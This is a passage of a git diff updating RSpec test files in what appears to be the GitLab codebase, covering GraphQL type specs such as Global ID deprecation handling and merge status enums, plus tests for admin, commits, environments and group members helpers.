- end
- end
end
end
end
diff --git a/spec/graphql/types/ci/runner_type_spec.rb b/spec/graphql/types/ci/runner_type_spec.rb
index dfe4a30c5b7..f27216f4d39 100644
--- a/spec/graphql/types/ci/runner_type_spec.rb
+++ b/spec/graphql/types/ci/runner_type_spec.rb
@@ -2,15 +2,17 @@
require 'spec_helper'
-RSpec.describe Types::Ci::RunnerType do
+RSpec.describe GitlabSchema.types['CiRunner'] do
specify { expect(described_class.graphql_name).to eq('CiRunner') }
+ specify { expect(described_class).to require_graphql_authorizations(:read_runner) }
+
it 'contains attributes related to a runner' do
expected_fields = %w[
id description contacted_at maximum_timeout access_level active status
version short_sha revision locked run_untagged ip_address runner_type tag_list
]
- expect(described_class).to have_graphql_fields(*expected_fields)
+ expect(described_class).to include_graphql_fields(*expected_fields)
end
end
diff --git a/spec/graphql/types/global_id_type_spec.rb b/spec/graphql/types/global_id_type_spec.rb
index 4df51dc8d1b..37f59770817 100644
--- a/spec/graphql/types/global_id_type_spec.rb
+++ b/spec/graphql/types/global_id_type_spec.rb
@@ -3,6 +3,10 @@
require 'spec_helper'
RSpec.describe Types::GlobalIDType do
+ include ::Gitlab::Graphql::Laziness
+ include GraphqlHelpers
+ include GlobalIDDeprecationHelpers
+
let_it_be(:project) { create(:project) }
let(:gid) { project.to_global_id }
@@ -97,6 +101,142 @@ RSpec.describe Types::GlobalIDType do
expect { type.coerce_isolated_input(invalid_gid) }
.to raise_error(GraphQL::CoercionError, /does not represent an instance of Project/)
end
+
+ context 'with a deprecation' do
+ around(:all) do |example|
+ # Unset all previously memoized GlobalIDTypes to allow us to define one
+ # that will use the constants stubbed in the `before` block.
+ previous_id_types = Types::GlobalIDType.instance_variable_get(:@id_types)
+ Types::GlobalIDType.instance_variable_set(:@id_types, {})
+
+ example.run
+ ensure
+ Types::GlobalIDType.instance_variable_set(:@id_types, previous_id_types)
+ end
+
+ before do
+ deprecation = Gitlab::GlobalId::Deprecations::Deprecation.new(old_model_name: 'OldIssue', new_model_name: 'Issue', milestone: '10.0')
+
+ stub_global_id_deprecations(deprecation)
+ end
+
+ let_it_be(:issue) { create(:issue) }
+
+ let!(:type) { ::Types::GlobalIDType[::Issue] }
+ let(:deprecated_gid) { Gitlab::GlobalId.build(model_name: 'OldIssue', id: issue.id) }
+ let(:deprecating_gid) { Gitlab::GlobalId.build(model_name: 'Issue', id: issue.id) }
+
+ it 'appends the description with a deprecation notice for the old Global ID' do
+ expect(type.to_graphql.description).to include('The older format `"gid://gitlab/OldIssue/1"` was deprecated in 10.0')
+ end
+
+ describe 'coercing input against the type (parsing the Global ID string when supplied as an argument)' do
+ subject(:result) { type.coerce_isolated_input(gid.to_s) }
+
+ context 'when passed the deprecated Global ID' do
+ let(:gid) { deprecated_gid }
+
+ it 'changes the model_name to the new model name' do
+ expect(result.model_name).to eq('Issue')
+ end
+
+ it 'changes the model_class to the new model class' do
+ expect(result.model_class).to eq(Issue)
+ end
+
+ it 'can find the correct resource' do
+ expect(result.find).to eq(issue)
+ end
+
+ it 'can find the correct resource loaded through GitlabSchema' do
+ expect(force(GitlabSchema.object_from_id(result, expected_class: Issue))).to eq(issue)
+ end
+ end
+
+ context 'when passed the Global ID that is deprecating another' do
+ let(:gid) { deprecating_gid }
+
+ it 'works as normal' do
+ expect(result).to have_attributes(
+ model_class: Issue,
+ model_name: 'Issue',
+ find: issue,
+ to_s: gid.to_s
+ )
+ end
+ end
+ end
+
+ describe 'coercing the result against the type (producing the Global ID string when used in a field)' do
+ context 'when passed the deprecated Global ID' do
+ let(:gid) { deprecated_gid }
+
+ it 'works, but does not result in matching the new Global ID', :aggregate_failures do
+ # Note, this would normally never happen in real life as the object being parsed
+ # by the field would not produce the GlobalID of the deprecated model. This test
+ # proves that it is technically possible for the deprecated GlobalID to be
+ # considered parsable for the type, as opposed to raising a `GraphQL::CoercionError`.
+ expect(type.coerce_isolated_result(gid)).not_to eq(issue.to_global_id.to_s)
+ expect(type.coerce_isolated_result(gid)).to eq(gid.to_s)
+ end
+ end
+
+ context 'when passed the Global ID that is deprecating another' do
+ let(:gid) { deprecating_gid }
+
+ it 'works as normal' do
+ expect(type.coerce_isolated_result(gid)).to eq(issue.to_global_id.to_s)
+ end
+ end
+ end
+
+ describe 'executing against the schema' do
+ let(:query_result) do
+ context = { current_user: issue.project.owner }
+ variables = { 'id' => gid }
+
+ run_with_clean_state(query, context: context, variables: variables).to_h
+ end
+
+ shared_examples 'a query that works with old and new GIDs' do
+ let(:query) do
+ <<-GQL
+ query($id: #{argument_name}!) {
+ issue(id: $id) {
+ id
+ }
+ }
+ GQL
+ end
+
+ subject { query_result.dig('data', 'issue', 'id') }
+
+ context 'when the argument value is the new GID' do
+ let(:gid) { Gitlab::GlobalId.build(model_name: 'Issue', id: issue.id) }
+
+ it { is_expected.to be_present }
+ end
+
+ context 'when the argument value is the old GID' do
+ let(:gid) { Gitlab::GlobalId.build(model_name: 'OldIssue', id: issue.id) }
+
+ it { is_expected.to be_present }
+ end
+ end
+
+ context 'when the query signature includes the old type name' do
+ let(:argument_name) { 'OldIssueID' }
+
+ it_behaves_like 'a query that works with old and new GIDs'
+ end
+
+ context 'when the query signature includes the new type name' do
+ let(:argument_name) { 'IssueID' }
+
+ it_behaves_like 'a query that works with old and new GIDs'
+ end
+ end
+ end
end
describe 'a parameterized type with a namespace' do
@@ -231,4 +371,10 @@ RSpec.describe Types::GlobalIDType do
end
end
end
+
+ describe '.model_name_to_graphql_name' do
+ it 'returns a graphql name for the given model name' do
+ expect(described_class.model_name_to_graphql_name('DesignManagement::Design')).to eq('DesignManagementDesignID')
+ end
+ end
end
diff --git a/spec/graphql/types/label_type_spec.rb b/spec/graphql/types/label_type_spec.rb
index 475b2a2ad34..427b5d2dcef 100644
--- a/spec/graphql/types/label_type_spec.rb
+++ b/spec/graphql/types/label_type_spec.rb
@@ -11,7 +11,6 @@ RSpec.describe GitlabSchema.types['Label'] do
:color,
:text_color,
:created_at,
- :remove_on_close,
:updated_at
]
diff --git a/spec/graphql/types/merge_request_type_spec.rb b/spec/graphql/types/merge_request_type_spec.rb
index fa33b32c6c8..875a16a79e5 100644
--- a/spec/graphql/types/merge_request_type_spec.rb
+++ b/spec/graphql/types/merge_request_type_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe GitlabSchema.types['MergeRequest'] do
+ include GraphqlHelpers
+
specify { expect(described_class).to expose_permissions_using(Types::PermissionTypes::MergeRequest) }
specify { expect(described_class).to require_graphql_authorizations(:read_merge_request) }
@@ -19,15 +21,17 @@ RSpec.describe GitlabSchema.types['MergeRequest'] do
target_branch work_in_progress draft merge_when_pipeline_succeeds diff_head_sha
merge_commit_sha user_notes_count user_discussions_count should_remove_source_branch
diff_refs diff_stats diff_stats_summary
- force_remove_source_branch merge_status in_progress_merge_commit_sha
+ force_remove_source_branch
+ merge_status merge_status_enum
+ in_progress_merge_commit_sha
merge_error allow_collaboration should_be_rebased rebase_commit_sha
rebase_in_progress default_merge_commit_message
merge_ongoing mergeable_discussions_state web_url
source_branch_exists target_branch_exists diverged_from_target_branch
upvotes downvotes head_pipeline pipelines task_completion_status
milestone assignees reviewers participants subscribed labels discussion_locked time_estimate
- total_time_spent reference author merged_at commit_count current_user_todos
- conflicts auto_merge_enabled approved_by source_branch_protected
+ total_time_spent human_time_estimate human_total_time_spent reference author merged_at
+ commit_count current_user_todos conflicts auto_merge_enabled approved_by source_branch_protected
default_merge_commit_message_with_description squash_on_merge available_auto_merge_strategies
has_ci mergeable commits_without_merge_commits squash security_auto_fix default_squash_commit_message
auto_merge_strategy merge_user
@@ -106,4 +110,27 @@ RSpec.describe GitlabSchema.types['MergeRequest'] do
execute_query
end
end
+
+ describe 'merge_status_enum' do
+ let(:type) { GitlabSchema.types['MergeStatus'] }
+
+ it 'has the type MergeStatus' do
+ expect(described_class.fields['mergeStatusEnum']).to have_graphql_type(type)
+ end
+
+ let_it_be(:project) { create(:project, :public) }
+
+ %i[preparing unchecked cannot_be_merged_recheck checking cannot_be_merged_rechecking can_be_merged cannot_be_merged].each do |state|
+ context "when the the DB value is #{state}" do
+ let(:merge_request) { create(:merge_request, :unique_branches, source_project: project, merge_status: state.to_s) }
+
+ it 'serializes correctly' do
+ value = resolve_field(:merge_status_enum, merge_request)
+ value = type.coerce_isolated_result(value)
+
+ expect(value).to eq(merge_request.public_merge_status.upcase)
+ end
+ end
+ end
+ end
end
diff --git a/spec/graphql/types/mutation_type_spec.rb b/spec/graphql/types/mutation_type_spec.rb
index e4144e4fa97..c1a5c93c85b 100644
--- a/spec/graphql/types/mutation_type_spec.rb
+++ b/spec/graphql/types/mutation_type_spec.rb
@@ -15,28 +15,6 @@ RSpec.describe Types::MutationType do
expect(described_class).to have_graphql_mutation(Mutations::MergeRequests::SetDraft)
end
- describe 'deprecated and aliased mutations' do
- using RSpec::Parameterized::TableSyntax
-
- where(:alias_name, :canonical_name) do
- 'AddAwardEmoji' | 'AwardEmojiAdd'
- 'RemoveAwardEmoji' | 'AwardEmojiRemove'
- 'ToggleAwardEmoji' | 'AwardEmojiToggle'
- end
-
- with_them do
- let(:alias_field) { get_field(alias_name) }
- let(:canonical_field) { get_field(canonical_name) }
-
- it { expect(alias_field).to be_present }
- it { expect(canonical_field).to be_present }
- it { expect(alias_field.deprecation_reason).to be_present }
- it { expect(canonical_field.deprecation_reason).not_to be_present }
- it { expect(alias_field.resolver.fields).to eq(canonical_field.resolver.fields) }
- it { expect(alias_field.resolver.arguments).to eq(canonical_field.resolver.arguments) }
- end
- end
-
def get_field(name)
described_class.fields[GraphqlHelpers.fieldnamerize(name)]
end
diff --git a/spec/graphql/types/packages/package_group_sort_enum_spec.rb b/spec/graphql/types/packages/package_group_sort_enum_spec.rb
new file mode 100644
index 00000000000..f2ed8f66fb3
--- /dev/null
+++ b/spec/graphql/types/packages/package_group_sort_enum_spec.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['PackageGroupSort'] do
+ it 'exposes all package group sort values' do
+ expect(described_class.values.keys).to contain_exactly(*%w[CREATED_DESC CREATED_ASC NAME_DESC NAME_ASC PROJECT_PATH_DESC PROJECT_PATH_ASC VERSION_DESC VERSION_ASC TYPE_DESC TYPE_ASC])
+ end
+end
diff --git a/spec/graphql/types/packages/package_sort_enum_spec.rb b/spec/graphql/types/packages/package_sort_enum_spec.rb
new file mode 100644
index 00000000000..fe9ce120c73
--- /dev/null
+++ b/spec/graphql/types/packages/package_sort_enum_spec.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['PackageSort'] do
+ it 'exposes all package sort values' do
+ expect(described_class.values.keys).to contain_exactly(*%w[CREATED_DESC CREATED_ASC NAME_DESC NAME_ASC VERSION_DESC VERSION_ASC TYPE_DESC TYPE_ASC])
+ end
+end
diff --git a/spec/graphql/types/packages/pypi/metadatum_type_spec.rb b/spec/graphql/types/packages/pypi/metadatum_type_spec.rb
new file mode 100644
index 00000000000..16fb3ef2098
--- /dev/null
+++ b/spec/graphql/types/packages/pypi/metadatum_type_spec.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['PypiMetadata'] do
+ it 'includes pypi metadatum fields' do
+ expected_fields = %w[
+ id required_python
+ ]
+
+ expect(described_class).to include_graphql_fields(*expected_fields)
+ end
+end
diff --git a/spec/graphql/types/projects/service_type_spec.rb b/spec/graphql/types/projects/service_type_spec.rb
index cca7c49e132..567bdfaec24 100644
--- a/spec/graphql/types/projects/service_type_spec.rb
+++ b/spec/graphql/types/projects/service_type_spec.rb
@@ -9,8 +9,8 @@ RSpec.describe Types::Projects::ServiceType do
it 'resolves the corresponding type for objects' do
expect(described_class.resolve_type(build(:jira_service), {})).to eq(Types::Projects::Services::JiraServiceType)
expect(described_class.resolve_type(build(:service), {})).to eq(Types::Projects::Services::BaseServiceType)
- expect(described_class.resolve_type(build(:drone_ci_service), {})).to eq(Types::Projects::Services::BaseServiceType)
- expect(described_class.resolve_type(build(:custom_issue_tracker_service), {})).to eq(Types::Projects::Services::BaseServiceType)
+ expect(described_class.resolve_type(build(:drone_ci_integration), {})).to eq(Types::Projects::Services::BaseServiceType)
+ expect(described_class.resolve_type(build(:custom_issue_tracker_integration), {})).to eq(Types::Projects::Services::BaseServiceType)
end
end
end
diff --git a/spec/graphql/types/projects/services_enum_spec.rb b/spec/graphql/types/projects/services_enum_spec.rb
index c23c652a378..39c2dcd07f6 100644
--- a/spec/graphql/types/projects/services_enum_spec.rb
+++ b/spec/graphql/types/projects/services_enum_spec.rb
@@ -3,13 +3,11 @@
require 'spec_helper'
RSpec.describe GitlabSchema.types['ServiceType'] do
- specify { expect(described_class.graphql_name).to eq('ServiceType') }
-
it 'exposes all the existing project services' do
expect(described_class.values.keys).to match_array(available_services_enum)
end
-end
-def available_services_enum
- ::Integration.available_services_types(include_dev: false).map(&:underscore).map(&:upcase)
+ def available_services_enum
+ ::Integration.available_services_types(include_dev: false).map(&:underscore).map(&:upcase)
+ end
end
diff --git a/spec/graphql/types/snippet_type_spec.rb b/spec/graphql/types/snippet_type_spec.rb
index b87770ebe8d..f284d88180c 100644
--- a/spec/graphql/types/snippet_type_spec.rb
+++ b/spec/graphql/types/snippet_type_spec.rb
@@ -13,7 +13,7 @@ RSpec.describe GitlabSchema.types['Snippet'] do
:visibility_level, :created_at, :updated_at,
:web_url, :raw_url, :ssh_url_to_repo, :http_url_to_repo,
:notes, :discussions, :user_permissions,
- :description_html, :blob, :blobs]
+ :description_html, :blobs]
expect(described_class).to have_graphql_fields(*expected_fields)
end
@@ -133,32 +133,6 @@ RSpec.describe GitlabSchema.types['Snippet'] do
end
end
- describe '#blob' do
- let(:query_blob) { subject.dig('data', 'snippets', 'nodes')[0]['blob'] }
-
- subject { GitlabSchema.execute(snippet_query_for(field: 'blob'), context: { current_user: user }).as_json }
-
- context 'when snippet has repository' do
- let!(:snippet) { create(:personal_snippet, :repository, :public, author: user) }
- let(:blob) { snippet.blobs.first }
-
- it 'returns the first blob from the repository' do
- expect(query_blob['name']).to eq blob.name
- expect(query_blob['path']).to eq blob.path
- end
- end
-
- context 'when snippet does not have a repository' do
- let!(:snippet) { create(:personal_snippet, :public, author: user) }
- let(:blob) { snippet.blob }
-
- it 'returns SnippetBlob type' do
- expect(query_blob['name']).to eq blob.name
- expect(query_blob['path']).to eq blob.path
- end
- end
- end
-
describe '#blobs' do
let_it_be(:snippet) { create(:personal_snippet, :public, author: user) }
diff --git a/spec/graphql/types/snippets/blob_viewer_type_spec.rb b/spec/graphql/types/snippets/blob_viewer_type_spec.rb
index 295df992c67..c3b98236f2b 100644
--- a/spec/graphql/types/snippets/blob_viewer_type_spec.rb
+++ b/spec/graphql/types/snippets/blob_viewer_type_spec.rb
@@ -31,7 +31,7 @@ RSpec.describe GitlabSchema.types['SnippetBlobViewer'] do
end
it 'returns false' do
- snippet_blob = subject.dig('data', 'snippets', 'edges')[0].dig('node', 'blob')
+ snippet_blob = subject.dig('data', 'snippets', 'edges').first.dig('node', 'blobs', 'nodes').find { |b| b['path'] == blob.path }
expect(snippet_blob['path']).to eq blob.path
expect(blob_attribute).to be_nil
@@ -47,10 +47,12 @@ RSpec.describe GitlabSchema.types['SnippetBlobViewer'] do
snippets(ids: "#{snippet.to_global_id}") {
edges {
node {
- blob {
- path
- simpleViewer {
- collapsed
+ blobs {
+ nodes {
+ path
+ simpleViewer {
+ collapsed
+ }
}
}
}
@@ -73,10 +75,12 @@ RSpec.describe GitlabSchema.types['SnippetBlobViewer'] do
snippets(ids: "#{snippet.to_global_id}") {
edges {
node {
- blob {
- path
- simpleViewer {
- tooLarge
+ blobs {
+ nodes {
+ path
+ simpleViewer {
+ tooLarge
+ }
}
}
}
diff --git a/spec/graphql/types/timelog_type_spec.rb b/spec/graphql/types/timelog_type_spec.rb
index 791c2fdb046..1344af89fb6 100644
--- a/spec/graphql/types/timelog_type_spec.rb
+++ b/spec/graphql/types/timelog_type_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe GitlabSchema.types['Timelog'] do
it { expect(described_class.graphql_name).to eq('Timelog') }
it { expect(described_class).to have_graphql_fields(fields) }
- it { expect(described_class).to require_graphql_authorizations(:read_group_timelogs) }
+ it { expect(described_class).to require_graphql_authorizations(:read_issue) }
describe 'user field' do
subject { described_class.fields['user'] }
diff --git a/spec/helpers/admin/background_migrations_helper_spec.rb b/spec/helpers/admin/background_migrations_helper_spec.rb
new file mode 100644
index 00000000000..8880a00755b
--- /dev/null
+++ b/spec/helpers/admin/background_migrations_helper_spec.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+require "spec_helper"
+
+RSpec.describe Admin::BackgroundMigrationsHelper do
+ describe '#batched_migration_status_badge_class_name' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:status, :class_name) do
+ :active | 'badge-info'
+ :paused | 'badge-warning'
+ :failed | 'badge-danger'
+ :finished | 'badge-success'
+ end
+
+ subject { helper.batched_migration_status_badge_class_name(migration) }
+
+ with_them do
+ let(:migration) { build(:batched_background_migration, status: status) }
+
+ it { is_expected.to eq(class_name) }
+ end
+ end
+
+ describe '#batched_migration_progress' do
+ subject { helper.batched_migration_progress(migration, completed_rows) }
+
+ let(:migration) { build(:batched_background_migration, status: :active, total_tuple_count: 100) }
+ let(:completed_rows) { 25 }
+
+ it 'returns completion percentage' do
+ expect(subject).to eq(25)
+ end
+
+ context 'when migration is finished' do
+ let(:migration) { build(:batched_background_migration, status: :finished, total_tuple_count: nil) }
+
+ it 'returns 100 percent' do
+ expect(subject).to eq(100)
+ end
+ end
+
+ context 'when total_tuple_count is nil' do
+ let(:migration) { build(:batched_background_migration, status: :active, total_tuple_count: nil) }
+
+ it 'returns nil' do
+ expect(subject).to eq(nil)
+ end
+
+ context 'when there are no completed rows' do
+ let(:completed_rows) { 0 }
+
+ it 'returns 0 percent' do
+ expect(subject).to eq(0)
+ end
+ end
+ end
+
+ context 'when completed rows are greater than total count' do
+ let(:completed_rows) { 150 }
+
+ it 'returns 99 percent' do
+ expect(subject).to eq(99)
+ end
+ end
+ end
+end
diff --git a/spec/helpers/application_settings_helper_spec.rb b/spec/helpers/application_settings_helper_spec.rb
index c74ee3ce0ec..4c62b3e12c1 100644
--- a/spec/helpers/application_settings_helper_spec.rb
+++ b/spec/helpers/application_settings_helper_spec.rb
@@ -37,8 +37,24 @@ RSpec.describe ApplicationSettingsHelper do
it_behaves_like 'when HTTP protocol is in use', 'https'
it_behaves_like 'when HTTP protocol is in use', 'http'
- context 'with tracking parameters' do
- it { expect(visible_attributes).to include(*%i(snowplow_collector_hostname snowplow_cookie_domain snowplow_enabled snowplow_app_id)) }
+ describe '.visible_attributes' do
+ it 'contains tracking parameters' do
+ expect(helper.visible_attributes).to include(*%i(snowplow_collector_hostname snowplow_cookie_domain snowplow_enabled snowplow_app_id))
+ end
+
+ it 'contains :deactivate_dormant_users' do
+ expect(helper.visible_attributes).to include(:deactivate_dormant_users)
+ end
+
+ context 'when GitLab.com' do
+ before do
+ allow(Gitlab).to receive(:com?).and_return(true)
+ end
+
+ it 'does not contain :deactivate_dormant_users' do
+ expect(helper.visible_attributes).not_to include(:deactivate_dormant_users)
+ end
+ end
end
describe '.integration_expanded?' do
diff --git a/spec/helpers/commits_helper_spec.rb b/spec/helpers/commits_helper_spec.rb
index 9a1ecb22edb..4e94636ba45 100644
--- a/spec/helpers/commits_helper_spec.rb
+++ b/spec/helpers/commits_helper_spec.rb
@@ -205,16 +205,6 @@ RSpec.describe CommitsHelper do
{ id: forked_project.id.to_s, name: forked_project.full_path, refsUrl: refs_project_path(forked_project) }
])
end
-
- context 'pick_into_project is disabled' do
- before do
- stub_feature_flags(pick_into_project: false)
- end
-
- it 'does not calculate target projects' do
- expect(helper.cherry_pick_projects_data(project)).to eq([])
- end
- end
end
describe "#commit_options_dropdown_data" do
@@ -298,7 +288,7 @@ RSpec.describe CommitsHelper do
let(:pipeline) { create(:ci_pipeline, :running) }
let(:user) { create(:user) }
let(:ref) { "master" }
- let(:merge_request) { nil }
+ let(:merge_request) { create(:merge_request) }
let(:request) { double(xhr?: true) }
let(:current_path) { "test" }
@@ -315,8 +305,8 @@ RSpec.describe CommitsHelper do
it do
is_expected.to include(
{
- merge_request: merge_request,
- pipeline_status: commit_status,
+ merge_request: merge_request.cache_key,
+ pipeline_status: pipeline.cache_key,
xhr: true,
controller: "commits",
path: current_path
diff --git a/spec/helpers/environments_helper_spec.rb b/spec/helpers/environments_helper_spec.rb
index 89cb0f72277..96869fcc777 100644
--- a/spec/helpers/environments_helper_spec.rb
+++ b/spec/helpers/environments_helper_spec.rb
@@ -34,7 +34,6 @@ RSpec.describe EnvironmentsHelper do
'project_path' => project_path(project),
'tags_path' => project_tags_path(project),
'has_metrics' => "#{environment.has_metrics?}",
- 'prometheus_status' => "#{environment.prometheus_status}",
'external_dashboard_url' => nil,
'environment_state' => environment.state,
'custom_metrics_path' => project_prometheus_metrics_path(project),
@@ -158,7 +157,7 @@ RSpec.describe EnvironmentsHelper do
let(:cluster) { create(:cluster, projects: [project]) }
it 'has managed prometheus' do
- create(:clusters_applications_prometheus, :installed, cluster: cluster)
+ create(:clusters_integrations_prometheus, cluster: cluster)
expect(metrics_data).to include(
'has_managed_prometheus' => 'true'
@@ -193,7 +192,7 @@ RSpec.describe EnvironmentsHelper do
"environment_name": environment.name,
"environments_path": api_v4_projects_environments_path(id: project.id),
"environment_id": environment.id,
- "cluster_applications_documentation_path" => help_page_path('user/clusters/applications.md', anchor: 'elastic-stack'),
+ "cluster_applications_documentation_path" => help_page_path('user/clusters/integrations.md', anchor: 'elastic-stack-cluster-integration'),
"clusters_path": project_clusters_path(project, format: :json)
}
diff --git a/spec/helpers/events_helper_spec.rb b/spec/helpers/events_helper_spec.rb
index 264bad92d56..073cebeecd5 100644
--- a/spec/helpers/events_helper_spec.rb
+++ b/spec/helpers/events_helper_spec.rb
@@ -88,6 +88,13 @@ RSpec.describe EventsHelper do
expect(helper.event_feed_url(event)).to eq(push_event_feed_url(event))
end
+
+ it 'returns nil for push event with multiple refs' do
+ event = create(:push_event)
+ create(:push_event_payload, event: event, ref_count: 2, ref: nil, ref_type: :tag, commit_count: 0, action: :pushed)
+
+ expect(helper.event_feed_url(event)).to eq(nil)
+ end
end
describe '#event_preposition' do
diff --git a/spec/helpers/gitlab_script_tag_helper_spec.rb b/spec/helpers/gitlab_script_tag_helper_spec.rb
index 37413b9b1c2..35f2c0795be 100644
--- a/spec/helpers/gitlab_script_tag_helper_spec.rb
+++ b/spec/helpers/gitlab_script_tag_helper_spec.rb
@@ -41,4 +41,11 @@ RSpec.describe GitlabScriptTagHelper do
expect(helper.javascript_tag( '// ignored', type: 'application/javascript') { 'alert(1)' }.to_s).to eq tag_with_nonce_and_type
end
end
+
+ describe '#preload_link_tag' do
+ it 'returns a link tag with a nonce' do
+ expect(helper.preload_link_tag('https://example.com/script.js').to_s)
+ .to eq "<link rel=\"preload\" href=\"https://example.com/script.js\" as=\"script\" type=\"text/javascript\" nonce=\"noncevalue\">"
+ end
+ end
end
diff --git a/spec/helpers/groups/group_members_helper_spec.rb b/spec/helpers/groups/group_members_helper_spec.rb
index c3f1509fbc8..b409bebaac3 100644
--- a/spec/helpers/groups/group_members_helper_spec.rb
+++ b/spec/helpers/groups/group_members_helper_spec.rb
@@ -23,58 +23,79 @@ RSpec.describe Groups::GroupMembersHelper do
end
end
- describe '#group_members_list_data_json' do
- let(:group_members) { create_list(:group_member, 2, group: group, created_by: current_user) }
-
- let(:pagination) { {} }
- let(:collection) { group_members }
- let(:presented_members) { present_members(collection) }
+ describe '#group_members_app_data_json' do
+ include_context 'group_group_link'
- subject { Gitlab::Json.parse(helper.group_members_list_data_json(group, presented_members, pagination)) }
+ let(:members) { create_list(:group_member, 2, group: shared_group, created_by: current_user) }
+ let(:invited) { create_list(:group_member, 2, :invited, group: shared_group, created_by: current_user) }
+ let!(:access_requests) { create_list(:group_member, 2, :access_request, group: shared_group, created_by: current_user) }
+
+ let(:members_collection) { members }
+
+ subject do
+ Gitlab::Json.parse(
+ helper.group_members_app_data_json(
+ shared_group,
+ members: present_members(members_collection),
+ invited: present_members(invited),
+ access_requests: present_members(access_requests)
+ )
+ )
+ end
- shared_examples 'members.json' do
+ shared_examples 'members.json' do |member_type|
it 'returns `members` property that matches json schema' do
- expect(subject['members'].to_json).to match_schema('members')
+ expect(subject[member_type]['members'].to_json).to match_schema('members')
+ end
+
+ it 'sets `member_path` property' do
+ expect(subject[member_type]['member_path']).to eq('/groups/foo-bar/-/group_members/:id')
end
end
before do
- allow(helper).to receive(:group_group_member_path).with(group, ':id').and_return('/groups/foo-bar/-/group_members/:id')
- allow(helper).to receive(:can?).with(current_user, :admin_group_member, group).and_return(true)
+ allow(helper).to receive(:group_group_member_path).with(shared_group, ':id').and_return('/groups/foo-bar/-/group_members/:id')
+ allow(helper).to receive(:group_group_link_path).with(shared_group, ':id').and_return('/groups/foo-bar/-/group_links/:id')
+ allow(helper).to receive(:can?).with(current_user, :admin_group_member, shared_group).and_return(true)
end
it 'returns expected json' do
expected = {
- member_path: '/groups/foo-bar/-/group_members/:id',
- source_id: group.id,
+ source_id: shared_group.id,
can_manage_members: true
}.as_json
expect(subject).to include(expected)
end
- context 'for a group member' do
- it_behaves_like 'members.json'
+ context 'group members' do
+ it_behaves_like 'members.json', 'user'
context 'with user status set' do
let(:user) { create(:user) }
let!(:status) { create(:user_status, user: user) }
- let(:group_members) { [create(:group_member, group: group, user: user, created_by: current_user)] }
+ let(:members) { [create(:group_member, group: shared_group, user: user, created_by: current_user)] }
- it_behaves_like 'members.json'
+ it_behaves_like 'members.json', 'user'
end
end
- context 'for an invited group member' do
- let(:group_members) { create_list(:group_member, 2, :invited, group: group, created_by: current_user) }
+ context 'invited group members' do
+ it_behaves_like 'members.json', 'invite'
+ end
- it_behaves_like 'members.json'
+ context 'access requests' do
+ it_behaves_like 'members.json', 'access_request'
end
- context 'for an access request' do
- let(:group_members) { create_list(:group_member, 2, :access_request, group: group, created_by: current_user) }
+ context 'group links' do
+ it 'sets `group.members` property that matches json schema' do
+ expect(subject['group']['members'].to_json).to match_schema('group_link/group_group_links')
+ end
- it_behaves_like 'members.json'
+ it 'sets `member_path` property' do
+ expect(subject['group']['member_path']).to eq('/groups/foo-bar/-/group_links/:id')
+ end
end
context 'when pagination is not available' do
@@ -87,13 +108,12 @@ RSpec.describe Groups::GroupMembersHelper do
params: {}
}.as_json
- expect(subject['pagination']).to include(expected)
+ expect(subject['access_request']['pagination']).to include(expected)
end
end
context 'when pagination is available' do
- let(:collection) { Kaminari.paginate_array(group_members).page(1).per(1) }
- let(:pagination) { { param_name: :page, params: { search_groups: nil } } }
+ let(:members_collection) { Kaminari.paginate_array(members).page(1).per(1) }
it 'sets `pagination` attribute to expected json' do
expected = {
@@ -101,41 +121,11 @@ RSpec.describe Groups::GroupMembersHelper do
per_page: 1,
total_items: 2,
param_name: :page,
- params: { search_groups: nil }
+ params: { invited_members_page: nil, search_invited: nil }
}.as_json
- expect(subject['pagination']).to include(expected)
+ expect(subject['user']['pagination']).to include(expected)
end
end
end
-
- describe '#group_group_links_list_data_json' do
- include_context 'group_group_link'
-
- subject { Gitlab::Json.parse(helper.group_group_links_list_data_json(shared_group)) }
-
- before do
- allow(helper).to receive(:group_group_link_path).with(shared_group, ':id').and_return('/groups/foo-bar/-/group_links/:id')
- end
-
- it 'returns expected json' do
- expected = {
- pagination: {
- current_page: nil,
- per_page: nil,
- total_items: 1,
- param_name: nil,
- params: {}
- },
- member_path: '/groups/foo-bar/-/group_links/:id',
- source_id: shared_group.id
- }.as_json
-
- expect(subject).to include(expected)
- end
-
- it 'returns `members` property that matches json schema' do
- expect(subject['members'].to_json).to match_schema('group_link/group_group_links')
- end
- end
end
diff --git a/spec/helpers/invite_members_helper_spec.rb b/spec/helpers/invite_members_helper_spec.rb
index 122f2339b28..3d2adaa5b5d 100644
--- a/spec/helpers/invite_members_helper_spec.rb
+++ b/spec/helpers/invite_members_helper_spec.rb
@@ -114,69 +114,4 @@ RSpec.describe InviteMembersHelper do
end
end
end
-
- describe '#dropdown_invite_members_link' do
- shared_examples_for 'dropdown invite members link' do
- let(:link_regex) do
- /data-track-event="click_link".*data-track-property="_track_property_".*Invite members/
- end
-
- before do
- allow(helper).to receive(:experiment_tracking_category_and_group) { '_track_property_' }
- allow(helper).to receive(:current_user) { owner }
- end
-
- it 'records the experiment' do
- allow(helper).to receive(:experiment_enabled?)
-
- helper.dropdown_invite_members_link(form_model)
-
- expect(helper).to have_received(:experiment_tracking_category_and_group).with(:invite_members_new_dropdown)
- end
-
- context 'with experiment enabled' do
- before do
- allow(helper).to receive(:experiment_enabled?).with(:invite_members_new_dropdown) { true }
- end
-
- it 'returns link' do
- link = helper.dropdown_invite_members_link(form_model)
-
- expect(link).to match(link_regex)
- expect(link).to include(link_href)
- expect(link).to include('gl-emoji')
- end
- end
-
- context 'with no experiment enabled' do
- before do
- allow(helper).to receive(:experiment_enabled?).with(:invite_members_new_dropdown) { false }
- end
-
- it 'returns link' do
- link = helper.dropdown_invite_members_link(form_model)
-
- expect(link).to match(link_regex)
- expect(link).to include(link_href)
- expect(link).not_to include('gl-emoji')
- end
- end
- end
-
- context 'with a project' do
- let_it_be(:form_model) { project }
-
- let(:link_href) { "href=\"#{project_project_members_path(form_model)}\"" }
-
- it_behaves_like 'dropdown invite members link'
- end
-
- context 'with a group' do
- let_it_be(:form_model) { create(:group) }
-
